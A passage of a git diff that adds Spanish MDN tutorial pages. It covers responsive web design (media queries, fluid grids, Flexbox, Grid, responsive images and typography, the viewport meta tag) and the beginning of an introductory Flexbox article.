+<figure><img alt="Un diseño con una barra de desplazamiento horizontal en una ventana de teléfono móvil." src="https://mdn.mozillademos.org/files/16835/mdn-rwd-fixed.png" style="display: block; height: 411px; width: 300px;">
+<figcaption></figcaption>
+</figure>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Observa este <a href="https://mdn.github.io/css-examples/learn/rwd/fixed-width.html">ejemplo</a> y su <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/fixed-width.html">código fuente</a> de un diseño sencillo con un ancho fijo. Nuevamente, cambia el tamaño de la ventana del navegador y observa el resultado.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Las capturas de pantalla anteriores se han tomado usando el <a href="/es/docs/Tools/Responsive_Design_View">modo de diseño responsivo</a> de las herramientas DevTools de Firefox.</p>
+</div>
+
+<p>A medida que la web móvil comenzó a hacerse realidad con los primeros teléfonos con funciones, las empresas que deseaban adoptar los dispositivos móviles solían crear una versión especial de su sitio web para dispositivo móvil, con una URL diferente (a menudo algo así como <em>m.example.com</em> o <em>example.mobi</em>). Esto significaba que había que desarrollar y actualizar dos versiones independientes del sitio web.</p>
+
+<p>Además, estos sitios web para dispositivos móviles a menudo ofrecían una experiencia muy reducida. A medida que los dispositivos móviles se volvían más potentes y capaces de mostrar sitios web completos, esto resultaba frustrante para los usuarios de dispositivos móviles, que se veían atrapados en la versión móvil del sitio web y no podían acceder a la información que sabían que había en la versión de escritorio, que incluía todas las funciones del sitio web.</p>
+
+<h2 id="Diseño_flexible_antes_del_diseño_responsivo">Diseño flexible antes del diseño responsivo</h2>
+
+<p>Se desarrollaron varios enfoques para tratar de resolver los inconvenientes de los métodos líquidos o de ancho fijo para crear sitios web. En 2004, Cameron Adams escribió una publicación titulada <a href="http://www.themaninblue.com/writing/perspective/2004/09/21/">Resolution dependent layout</a>, que describe un método para crear un diseño que podría adaptarse a diferentes resoluciones de pantalla. Este enfoque requería JavaScript para detectar la resolución de la pantalla y cargar el CSS correcto.</p>
+
+<p>Zoe Mickley Gillenwater fue determinante en <a href="http://zomigi.com/blog/voices-that-matter-slides-available/">su trabajo</a> de descripción y formalización de los diversos modos en que se podían crear sitios web flexibles para intentar encontrar una situación intermedia entre llenar toda la pantalla o tener un tamaño completamente fijo.</p>
+
+<h2 id="Diseño_responsivo">Diseño responsivo</h2>
+
+<p>El término <em>diseño responsivo</em> fue acuñado por <a href="https://alistapart.com/article/responsive-web-design/">Ethan Marcotte en 2010</a>, y describía el uso combinado de tres técnicas.</p>
+
+<ol>
+ <li>La primera era la idea de las redes fluidas, algo que ya exploraba Gillenwater, y que puede leerse en el artículo de Marcotte, <a href="https://alistapart.com/article/fluidgrids/">Fluid Grids</a> (publicado en 2009 en <em>A list apart</em>).</li>
+ <li>La segunda técnica era la idea de las <a href="http://unstoppablerobotninja.com/entry/fluid-images">imágenes fluidas</a>. Usando una técnica muy simple de establecer la propiedad de <code>max-width</code> al <code>100%</code>, las imágenes se reducían si su columna de contención se volvía más estrecha que el tamaño intrínseco de la imagen, pero nunca se expandía. Esto permite reducir una imagen para que se ajuste a una columna de tamaño flexible, en lugar de que desborde, pero no se expande ni se pixela si la columna se ensancha más que la imagen.</li>
+ <li>El tercer componente clave era la <a href="/es/docs/Web/CSS/Media_Queries">consulta a los media</a>. Las consultas a los media habilitan el tipo de cambio de diseño que Cameron Adams había explorado previamente usando JavaScript, pero usando solo CSS. En lugar de tener un único diseño para todos los tamaños de pantalla, el diseño podría cambiarse. Las barras laterales pueden reposicionarse en una pantalla más pequeña, o puede mostrarse una navegación alternativa.</li>
+</ol>
+
+<p>Es importante comprender que <strong>el diseño web responsivo no es una tecnología independiente</strong>: es un término utilizado para describir un enfoque para el diseño web, o un conjunto de buenas prácticas utilizado para crear un diseño que puede <em>responder</em> según el dispositivo que se utiliza para ver un contenido. En la exploración original de Marcotte, esto significaba cuadrículas flexibles (mediante elementos flotantes) y consultas de media; sin embargo, en los casi 10 años desde que se escribió ese artículo, trabajar de manera responsiva se ha convertido en la norma. Los métodos de diseño CSS modernos son inherentemente responsivos, y la plataforma web dispone de herramientas integradas nuevas que facilitan el diseño de sitios web responsivos.</p>
+
+<p>El resto de este artículo te indicará las diversas características de la plataforma web que puedas querer utilizar para crear un sitio responsivo.</p>
+
+<h2 id="La_consulta_a_los_media">La consulta a los media</h2>
+
+<p>El diseño responsivo solo pudo surgir gracias a la consulta a los media. La especificación de nivel 3 de consulta a los media se convirtió en una candidata a Recomendación en 2009, lo que significa que se consideró lista para su implementación en los navegadores. Las consultas a los media nos permiten ejecutar una serie de pruebas (por ejemplo, si la pantalla del usuario es mayor que un ancho o una resolución determinados) y aplicar CSS selectivamente para diseñar la página de manera que resulte adecuada a las necesidades del usuario.</p>
+
+<p>Por ejemplo, la consulta a los media siguiente explora si la página web que se muestra lo hace como un medio de pantalla (por lo tanto, no es un documento impreso) y si la ventana tiene al menos 800 píxeles de ancho. El CSS para el selector <code>.container</code> solo se aplicará si ambas condiciones son ciertas.</p>
+
+<pre class="brush: css"><code>@media screen and (min-width: 800px) {
+  .container {
+    margin: 1em 2em;
+  }
+} </code>
+</pre>
+
+<p>Puedes añadir múltiples consultas a los media dentro de una hoja de estilo, y ajustar todo tu diseño o solo partes de él para que se adapte mejor a los diferentes tamaños de pantalla. Los puntos en los que se introduce una consulta a los media y se cambia el diseño se conocen como <em>puntos de interrupción</em>.</p>
+
+<p>Un enfoque común cuando se usan las consultas a los media es crear un diseño sencillo de una sola columna para dispositivos de pantalla estrecha (por ejemplo, teléfonos móviles), luego implementar un diseño en columnas para pantallas más grandes cuando se sabe que hay suficiente ancho de pantalla para manejarlo. Esto se describe a menudo como diseño <strong>primero móvil</strong>.</p>
+
+<p>Obtén más información sobre las <a href="/es/docs/Web/CSS/Media_Queries">consultas a los media</a> en la documentación de MDN.</p>
+
+<h2 id="Cuadrículas_flexibles">Cuadrículas flexibles</h2>
+
+<p>Los sitios responsivos no solo cambian su diseño entre puntos de interrupción, sino que se construyen sobre cuadrículas flexibles. Una cuadrícula flexible significa que no tienes que centrarte en todos los tamaños de dispositivo posibles y construir para ellos un diseño en píxeles perfecto. Ese enfoque sería imposible dada la gran cantidad de dispositivos de tamaños diferentes que hay, y el hecho de que, al menos en la versión de escritorio, las personas no siempre tienen la ventana de su navegador maximizada.</p>
+
+<p>Al usar una cuadrícula flexible, solo necesitas añadir un punto de interrupción y cambiar el diseño en el punto en que el contenido comienza a verse mal. Por ejemplo, si las longitudes de las líneas se vuelven interminablemente largas a medida que el tamaño de la pantalla aumenta, o una caja se encoje hasta un ancho de dos palabras en cada línea a medida que el tamaño de la pantalla se reduce.</p>
+
+<p>En los primeros días del diseño responsivo, nuestra única opción para el diseño de páginas web era usar <a href="/es/docs/Learn/CSS/CSS_layout/Floats">elementos flotantes</a>. Los diseños de pantalla con elementos flotantes flexibles se lograban dando a cada elemento un ancho porcentual asegurándose de que para toda la página no alcanzara más del 100%. En su trabajo original sobre cuadrículas fluidas, Marcotte detalló una fórmula para tomar un diseño de página web diseñado usando píxeles y convertirlo en porcentajes.</p>
+
+<pre><code>target / context = result </code>
+</pre>
+
+<p>Por ejemplo, si el tamaño de nuestra columna de destino es de 60 píxeles y el contexto (o contenedor) en el que se encuentra es de 960 píxeles, dividimos 60 por 960 para obtener un valor que podemos usar en nuestro CSS, después de mover el separador de cifras decimales dos posiciones a la derecha.</p>
+
+<pre class="brush: css"><code>.col {
+  width: 6.25%; /* 60 / 960 = 0.0625 */
+} </code>
+</pre>
+
+<p>Este enfoque se encuentra hoy en muchos lugares de la web, y aquí está documentado en la sección de compaginación de nuestro artículo sobre <a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">métodos de compaginación heredados</a>. Es probable que encuentres sitios web que utilizan este enfoque en su trabajo, por lo que vale la pena entenderlo, aunque no vas a construir un sitio web moderno utilizando una cuadrícula flexible basada en elementos flotantes.</p>
+
+<p>El ejemplo siguiente muestra un diseño responsivo sencillo que utiliza consultas a los medios y una cuadrícula flexible. En pantallas estrechas, el diseño de página muestra las cajas en columna una encima de la otra:</p>
+
+<figure><img alt="Una vista de un dispositivo móvil con un diseño de página con cajas en columna vertical una encima de la otra." src="https://mdn.mozillademos.org/files/16836/mdn-rwd-mobile.png" style="display: block; height: 407px; width: 300px;">
+<figcaption></figcaption>
+</figure>
+
+<p>En pantallas más anchas se pasa a dos columnas:</p>
+
+<figure><img alt="Una vista de un dispositivo de escritorio con un diseño a dos columnas." src="https://mdn.mozillademos.org/files/16837/mdn-rwd-desktop.png" style="display: block; height: 217px; width: 600px;">
+<figcaption></figcaption>
+</figure>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puedes encontrar el <a href="https://mdn.github.io/css-examples/learn/rwd/float-based-rwd.html">ejemplo en vivo</a> y el <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/float-based-rwd.html">código fuente</a> de este ejemplo en GitHub.</p>
+</div>
+
+<h2 id="Tecnologías_modernas_de_diseño_de_páginas_web">Tecnologías modernas de diseño de páginas web</h2>
+
+<p>Los métodos modernos de diseño de páginas web, como el <a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">diseño en columnas</a>, <a href="/es/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> y <a href="/es/docs/Learn/CSS/CSS_layout/Grids">Grid</a> son responsivos por defecto. Todos estos métodos asumen que tratas de crear una cuadrícula flexible y te proporcionan los modos más fáciles de hacerlo.</p>
+
+<h3 id="Multicol">Multicol</h3>
+
+<p>El más antiguo de estos métodos de diseño de páginas web es multicol. Cuando especificas un atributo <code>column-count</code>, esto indica en cuántas columnas deseas dividir tu contenido. El navegador entonces calcula el tamaño de estas columnas, que cambiará de acuerdo con el tamaño de la pantalla.</p>
+
+<pre class="brush: css"><code>.container {
+  column-count: 3;
+} </code>
+</pre>
+
+<p>Si en lugar de ello estableces el atributo <code>column-width</code>, especificas un ancho <em>mínimo</em>. El navegador crea tantas columnas de ese ancho como quepan cómodamente en el contenedor, y reparte el espacio entre todas las columnas. Por lo tanto, el número de columnas cambia según la cantidad de espacio que hay.</p>
+
+<pre class="brush: css"><code>.container {
+  column-width: 10em;
+} </code>
+</pre>
+
+<h3 id="Flexbox">Flexbox</h3>
+
+<p>En el método Flexbox, los elementos flexibles se encogen y distribuyen el espacio entre los elementos según el espacio que hay en su contenedor, según su comportamiento inicial. Al cambiar los valores de <code>flex-grow</code> y <code>flex-shrink</code>, puedes indicar cómo deseas que se comporten los elementos cuando a su alrededor hay más o menos espacio.</p>
+
+<p>En el ejemplo siguiente, los elementos flexibles ocupan cada uno la misma cantidad de espacio en el contenedor flexible, al utilizar la abreviatura <code>flex: 1</code> como se describe en el artículo <a href="/es/docs/Learn/CSS/CSS_layout/Grids#Cuadr%C3%ADculas_flexibles_con_la_unidad_fr">Flexbox: Dimensionamiento flexible de los elementos flex</a>.</p>
+
+<pre class="brush: css"><code>.container {
+  display: flex;
+}
+
+.item {
+  flex: 1;
+} </code>
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Como ejemplo, hemos reconstruido el anterior diseño de página responsivo sencillo, esta vez usando Flexbox. Puedes ver que ya no necesitamos usar valores de porcentaje extraños para calcular el tamaño de las columnas: <a href="https://mdn.github.io/css-examples/learn/rwd/flex-based-rwd.html">ejemplo</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/flex-based-rwd.html">código fuente</a>.</p>
+</div>
+
+<h3 id="Cuadrículas_CSS">Cuadrículas CSS</h3>
+
+<p>En el diseño de cuadrículas con CSS, la unidad <code>fr</code> permite la distribución del espacio disponible en las trazas de la cuadrícula. El ejemplo siguiente crea un contenedor de cuadrícula con tres trazas dimensionadas a <code>1fr</code>. Esto crea tres columnas, cada una de las cuales ocupa una parte del espacio que hay disponible en el contenedor. Puedes obtener más información sobre este enfoque para crear una cuadrícula en el módulo Aprender a diseñar cuadrículas en <a href="/en-US/docs/Learn/CSS/CSS_layout/Grids#Flexible_grids_with_the_fr_unit">Cuadrículas flexibles con la unidad fr</a>.</p>
+
+<pre class="brush: css"><code>.container {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+} </code>
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: La versión del diseño de página en cuadrícula es aún más simple, ya que podemos definir las columnas en .wrapper: <a href="https://mdn.github.io/css-examples/learn/rwd/grid-based-rwd.html">ejemplo</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/grid-based-rwd.html">código fuente</a>.</p>
+</div>
+
+<h2 id="Imágenes_responsivas">Imágenes responsivas</h2>
+
+<p>El enfoque más simple para las imágenes responsivas es el que se describe en los primeros artículos de Marcotte sobre diseño responsivo. Básicamente, tomar una imagen que tenga el tamaño más grande que puedas necesitar, y reducirla. Este continúa siendo un enfoque utilizado hoy en día, y en la mayoría de las hojas de estilo encontrarás en alguna parte el CSS siguiente:</p>
+
+<pre class="brush: css"><code>img {
+  max-width: 100%:
+} </code>
+</pre>
+
+<p>Hay inconvenientes obvios en este enfoque. La imagen puede mostrarse mucho más pequeña que su tamaño intrínseco, lo que representa una pérdida de ancho de banda: un usuario de dispositivo móvil puede descargar una imagen que sea varias veces el tamaño de lo que ve en realidad en la ventana del navegador. Además, es posible que no desees la misma relación de aspecto de la imagen en dispositivos móviles y en ordenadores de escritorio. Por ejemplo, podría ser bueno tener una imagen cuadrada para dispositivos móviles, pero mostrar la misma escena que una imagen horizontal en el escritorio. O bien es posible que, reconociendo el tamaño más pequeño de una imagen en dispositivos móviles, desees mostrar una imagen diferente, que se entienda mejor en un tamaño de pantalla pequeño. Estas cosas no se pueden lograr simplemente reduciendo una imagen.</p>
+
+<p>Las imágenes responsivas, que utilizan el elemento {{htmlelement ("picture")}} y los atributos {{htmlelement ("img")}} <code>srcset</code> y <code>sizes</code> resuelven ambos problemas. Puedes proporcionar varios tamaños junto con «sugerencias» (metadatos que describen el tamaño de pantalla y la resolución para que la imagen sea la más adecuada), y el navegador elije la imagen que resulta más adecuada para cada dispositivo, y se asegura de que el usuario descarga un tamaño de imagen apropiado para el dispositivo que utiliza.</p>
+
+<p>También puedes usar imágenes <em>de director artístico</em>, que proporcionan un recorte o una imagen completamente diferente para diferentes tamaños de pantalla.</p>
+
+<p>Puedes encontrar una <a href="/es/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">guía detallada de imágenes responsivas en el artículo sobre Aprender HTML</a> en MDN.</p>
+
+<h2 id="Tipografía_responsiva">Tipografía responsiva</h2>
+
+<p>Un elemento de diseño responsivo que todavía no hemos tratado en trabajos anteriores es la idea de la tipografía responsiva. Este concepto describe esencialmente el hecho de cambiar el tamaño de letra según el espacio de pantalla que reflejan las consultas a media.</p>
+
+<p>En este ejemplo, queremos establecer que nuestro encabezado de nivel 1 sea <code>4rem</code>, lo que significa que será cuatro veces nuestro tamaño de letra base. ¡Es un título muy grande! Solo queremos este título de encabezado gigante en los tamaños de pantalla más grandes, por lo tanto, primero creamos un título de encabezado más pequeño y luego usamos las consultas a los media para sobrescribirlo con el tamaño más grande si sabemos que el usuario tiene un tamaño de pantalla de al menos <code>1200px</code>.</p>
+
+<pre class="brush: css"><code>html {
+  font-size: 1em;
+}
+
+h1 {
+  font-size: 2rem;
+}
+
+@media (min-width: 1200px) {
+  h1 {
+    font-size: 4rem;
+  }
+} </code>
+</pre>
+
+<p>Hemos editado nuestro ejemplo anterior de cuadrícula responsiva para incluir también el tipo de respuesta utilizando el método descrito. Puedes ver cómo el título de encabezado cambia de tamaño cuando el diseño para a la versión de dos columnas.</p>
+
+<p>En la versión para dispositivo móvil, el encabezado es más pequeño:</p>
+
+<figure><img alt="Un diseño de elementos apilados en columna con un tamaño de título de encabezado pequeño." src="https://mdn.mozillademos.org/files/16838/mdn-rwd-font-mobile.png" style="display: block; height: 407px; width: 300px;">
+<figcaption></figcaption>
+</figure>
+
+<p>Sin embargo, en las versiones de escritorio vemos un tamaño de título de encabezado más grande:</p>
+
+<figure><img alt="Un diseño en dos columnas con un título grande." src="https://mdn.mozillademos.org/files/16839/mdn-rwd-font-desktop.png" style="display: block; height: 169px; width: 600px;">
+<figcaption></figcaption>
+</figure>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Observa este ejemplo en: <a href="https://mdn.github.io/css-examples/learn/rwd/type-rwd.html">ejemplo</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/type-rwd.html">código fuente</a>.</p>
+</div>
+
+<p>Como muestra este enfoque sobre la tipografía, no es necesario restringir las consultas a medios a cambiar solo el diseño de página. Se pueden usar para ajustar cualquier elemento y hacerlo más útil o atractivo según los diversos tamaños de pantalla.</p>
+
+<h3 id="El_uso_de_unidades_de_ventana_gráfica_para_tipografía_responsiva">El uso de unidades de ventana gráfica para tipografía responsiva</h3>
+
+<p>Un enfoque interesante es utilizar las unidades de ventana gráfica <code>vw</code> para habilitar la tipografía responsiva. <code>1vw</code> es igual al uno por ciento del ancho de la ventana gráfica, lo que significa que si configuras el tamaño del tipo de letra con <code>vw</code>, siempre estará en relación con el tamaño de la ventana gráfica.</p>
+
+<pre class="brush: css">h1 {
+  font-size: 6vw;
+}</pre>
+
+<p>El problema de hacer esto es que el usuario pierde la posibilidad de ampliar cualquier conjunto de texto configurado en unidades <code>vw</code>, porque ese texto siempre está en relación con el tamaño de la ventana gráfica. <strong>Por lo tanto, nunca hay que establecer texto utilizando solo unidades de ventana</strong>.</p>
+
+<p>Hay una solución, que implica el uso de la función <code><a href="/en-US/docs/Web/CSS/calc">calc()</a></code>. Si añades la unidad <code>vw</code> a un valor establecido con un tamaño fijo, como <code>em</code> o <code>rem</code>, el texto continúa siendo ampliable. Esencialmente, la unidad <code>vw</code> se añade sobre ese valor ampliado:</p>
+
+<pre class="brush: css">h1 {
+  font-size: calc(1.5rem + 3vw);
+}</pre>
+
+<p>Esto significa que necesitamos especificar el tamaño de letra para el título de encabezado una sola vez, en lugar de configurarlo para dispositivos móviles y redefinirlo en las consultas a medios. Luego, el tipo de letra aumenta gradualmente a medida que aumenta el tamaño de la ventana gráfica.</p>
+
+<div class="blockIndicator note">
+<p>Observa un ejemplo en: <a href="https://mdn.github.io/css-examples/learn/rwd/type-vw.html">ejemplo</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/type-vw.html">código fuente</a>.</p>
+</div>
+
+<h2 id="La_metaetiqueta_viewport">La metaetiqueta viewport</h2>
+
+<p>Si observas el tipo de letra de una página HTML responsiva, en general vas a encontrar la siguiente etiqueta {{htmlelement ("meta")}} en la cabecera del documento.</p>
+
+<pre class="brush: html"><code>&lt;meta name="viewport" content="width=device-width,initial-scale=1"&gt;</code>
+</pre>
+
+<p>Esta metaetiqueta informa a los navegadores de los dispositivos móviles que deben establecer el ancho de la ventana gráfica al ancho del dispositivo y escalar el documento al 100% de ese tamaño, de modo que el documento se mostrará al tamaño optimizado para esos dispositivos móviles.</p>
+
+<p>¿Por qué esto es necesario? Porque los navegadores de los dispositivos móviles tienden a mentir sobre el ancho de su ventana gráfica.</p>
+
+<p>Esta metaetiqueta existe porque cuando se lanzó el iPhone original y la gente comenzó a ver sitios web en una pequeña pantalla de teléfono móvil, la mayoría de los sitios web no estaban optimizados para dispositivos móviles. Por lo tanto, el navegador móvil establecía el ancho de la ventana gráfica en 960 píxeles, representaba la página con ese ancho y mostraba el resultado como una versión reducida del diseño del escritorio. Otros navegadores de dispositivos móviles (por ejemplo, en Google Android) hicieron lo mismo. Los usuarios podían acercarse y desplazarse por el sitio web para ver las partes que les interesaban, pero se veía mal. Todavía verás esto hoy en día si tienes la desgracia de encontrarte con un sitio web que no tiene un diseño de página responsivo.</p>
+
+<p>El problema es que tu diseño responsivo con puntos de interrupción y consultas a media no va a funcionar según lo previsto en los navegadores de dispositivos móviles, si tienes un diseño de pantalla estrecho que se inicia con un ancho de ventana de 480px o menos, pero la ventana gráfica está configurada en 960px. E cambio, al configurar <code>width=device-width</code> anulas el ancho predeterminado <code>width=960px</code> de Apple con el ancho real del dispositivo, y tus consultas a media funcionarán según lo previsto.</p>
+
+<p><strong>Por lo tanto, <em>siempre</em> debes incluir la línea de HTML anterior en la cabecera de tus documentos.</strong></p>
+
+<p>Con la metaetiqueta <code>viewport</code> puedes usar otras configuraciones, aunque, en general vas a querer usar la línea anterior.</p>
+
+<ul>
+ <li><code>initial-scale</code>: Establece el zoom inicial de la página, que establecemos en 1.</li>
+ <li><code>height</code>: Establece una altura específica para la ventana gráfica.</li>
+ <li><code>minimum-scale</code>: Establece el nivel mínimo de zoom.</li>
+ <li><code>maximum-scale</code>: Establece el nivel máximo de zoom.</li>
+ <li><code>user-scalable</code>: Impide el zoom si se establece en <code>no</code>.</li>
+</ul>
+
+<p>Deberías evitar el uso de <code>minimum-scale</code> y <code>maximum-scale</code>, y en particular establecer <code>user-scalable</code> en <code>no</code>. Hay que permitir a los usuarios hacer zoom tanto o tan poco como lo necesiten; evitarlo provoca problemas de accesibilidad.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Hay una @regla CSS establecida para reemplazar la metaetiqueta <code>viewport</code>: <a href="/en-US/docs/Web/CSS/@viewport">@viewport</a>. Sin embargo, tiene poca compatibilidad con los navegadores. Se implementó en Internet Explorer y Edge, pero una vez que se lance el navegador Edge basado en Chromium, dejará de formar parte del navegador Edge.</p>
+</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El diseño responsivo se refiere a un diseño página de un sitio web o una aplicación que responde al entorno en el que se visualiza. Abarca una serie de características y técnicas de CSS y HTML, y ahora es esencialmente el modo como construimos los sitios web de forma predeterminada. Piensa en los sitios web que visitas con tu dispositivo móvil; probablemente sea inusual encontrar un sitio web que tenga la versión de escritorio reducida o en que necesites desplazarse hacia los lados para encontrar las cosas. Esto se debe a que la web se ha movido a este enfoque de diseño responsivo.</p>
+
+<p>Además, lograr diseños responsivos se ha vuelto mucho más fácil con la ayuda de los métodos de diseño que has aprendido en estos artículos. Si eres nuevo en el desarrollo web, hoy tienes muchas más herramientas a tu disposición que en los primeros días del diseño de página responsivo. Por lo tanto, vale la pena verificar la antigüedad de los materiales que consultas. Si bien los artículos históricos continúan siendo útiles, el uso moderno de CSS y HTML facilita mucho la creación de diseños elegantes y útiles, sin importar con qué dispositivo el visitante visita el sitio.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Introducción al diseño CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">Flujo normal</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Cuadrícula</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Elementos flotantes</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Posicionamiento</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Diseño en columnas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Responsive_Design">Diseño responsivo</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Media_queries">Guía para principiantes sobre consultas a medios</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Métodos de compaginación heredados</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Compatibilidad de navegadores antiguos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Evaluación del conjunto de elementos básicos de compaginación</a></li>
+</ul>
diff --git a/files/es/learn/css/css_layout/flexbox/index.html b/files/es/learn/css/css_layout/flexbox/index.html
new file mode 100644
index 0000000000..5d2b8cdf36
--- /dev/null
+++ b/files/es/learn/css/css_layout/flexbox/index.html
@@ -0,0 +1,337 @@
+---
+title: Flexbox
+slug: Learn/CSS/CSS_layout/Flexbox
+translation_of: Learn/CSS/CSS_layout/Flexbox
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}</div>
+
+<p class="summary"><a href="/es/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a> es un método de diseño de página unidimensional para compaginar elementos en filas o columnas. Los elementos de contenido se ensanchan para rellenar el espacio adicional y se encogen para caber en espacios más pequeños. En este artículo expondremos todas sus características básicas.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Los conceptos básicos de HTML (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>) y nociones de cómo funciona el CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Introducción al CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender a usar el sistema de compaginación con elementos flexbox para crear compaginaciones web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Por_qué_flexbox">¿Por qué flexbox?</h2>
+
+<p>Durante mucho tiempo, las únicas herramientas fiables con compatibilidad cruzada entre navegadores disponibles para crear diseños CSS fueron cosas como la <a href="/es/docs/Learn/CSS/CSS_layout/Floats">flotación</a> y el <a href="/es/docs/Learn/CSS/CSS_layout/Positioning">posicionamiento</a>. Están bien y funcionan, pero de alguna manera también limitan bastante y frustran.</p>
+
+<p>Con tales herramientas resulta difícil, si no imposible, lograr obtener en cualquier forma conveniente y flexible un diseño de página sencillo con unos requisitos como los siguientes:</p>
+
+<ul>
+ <li>Centrar verticalmente un bloque de contenido dentro de su elemento padre.</li>
+ <li>Hacer que todos los elementos secundarios de un contenedor ocupen una cantidad igual del ancho/alto disponible, independientemente del ancho/alto que haya disponible.</li>
+ <li>Hacer que todas las columnas en una compaginación en columnas múltiples adopten la misma altura incluso si contienen cantidades diferentes de contenido.</li>
+</ul>
+
+<p>Como verás en las secciones siguientes, los elementos flexbox facilitan mucho algunas tareas de compaginación. ¡Vamos a profundizar en ello!</p>
+
+<h2 id="Presentación_de_un_ejemplo_sencillo">Presentación de un ejemplo sencillo</h2>
+
+<p>En este artículo, te guiaremos por una serie de ejercicios para ayudarte a comprender cómo funcionan los elementos flexbox. Para comenzar, debes hacer una copia local del primer archivo de inicio <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html">flexbox0.html</a> de nuestro repositorio de GitHub. Cárgalo en un navegador moderno (como Firefox o Chrome) y echa un vistazo al código en tu editor de código. Puedes <a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox0.html">verlo en vivo aquí</a>.</p>
+
+<p>Verás que hay un elemento {{htmlelement ("header")}} con un encabezado de nivel superior en él, y un elemento {{htmlelement ("section")}} que contiene tres elementos {{htmlelement ("article")}}. Los usaremos para crear una compaginación bastante habitual de tres columnas.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13406/flexbox-example1.png" style="border-style: solid; border-width: 1px; display: block; height: 324px; margin: 0px auto; width: 800px;"></p>
+
+<h2 id="Especificar_qué_elementos_colocar_como_cajas_flexibles">Especificar qué elementos colocar como cajas flexibles</h2>
+
+<p>Para comenzar, vamos a seleccionar qué elementos se van a presentar como cajas flexibles. Para ello, establecemos un valor especial de {{cssxref ("display")}} en el elemento padre de los elementos que deseas editar. En este caso, queremos compaginar los elementos {{htmlelement ("article")}}, por lo que lo establecemos en {{htmlelement ("section")}} (que se convierte en un contenedor flexible):</p>
+
+<pre class="brush: css notranslate">section {
+  display: flex;
+}</pre>
+
+<p>Esto hace que el elemento <code>&lt;section&gt;</code> se convierta en <strong>contenedor flex</strong>, y sus hijos en <strong>elementos flexibles</strong>. El resultado de esto debería ser algo así:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13408/flexbox-example2.png" style="border-style: solid; border-width: 1px; display: block; height: 348px; margin: 0px auto; width: 800px;"></p>
+
+<p>Así, esta declaración única nos da todo lo que necesitamos. Increíble, ¿verdad? Tenemos nuestra compaginación en columnas múltiples con columnas de igual tamaño, y todas las columnas tienen la misma altura. Esto se debe a que los valores por defecto que se han asignado a los elementos flexibles (los elementos secundarios del contenedor flexible) están pensados para resolver problemas comunes como este. Veremos más sobre el tema más adelante.</p>
+
+<p>Para que quede claro, reiteremos lo que está sucediendo aquí. El elemento al que le hemos dado un valor de {{cssxref("display")}} de <code>flex</code> actúa como un elemento a nivel de bloque en términos de cómo interactúa con el resto de la página, pero sus elementos secundarios se presentan como elementos flexibles. La siguiente sección explicará con más detalle qué significa esto. Ten en cuenta también que puede usar un valor de <code>display</code> de <code>inline-flex</code> si desea diseñar los elementos secundarios de un elemento como elementos flexibles, pero hacer que ese elemento se comporte como un elemento en línea.</p>
+
+<p>
+ </p><h2 id="El_modelo_flexible">El modelo flexible</h2>
+
+
+<p>Cuando los elementos se presentan como cajas flexibles, se distribuyen con respecto a dos ejes:</p>
+
+<p><img alt="flex_terms.png" class="default internal" src="/files/3739/flex_terms.png" style="display: block; margin: 0px auto;"></p>
+
+<ul>
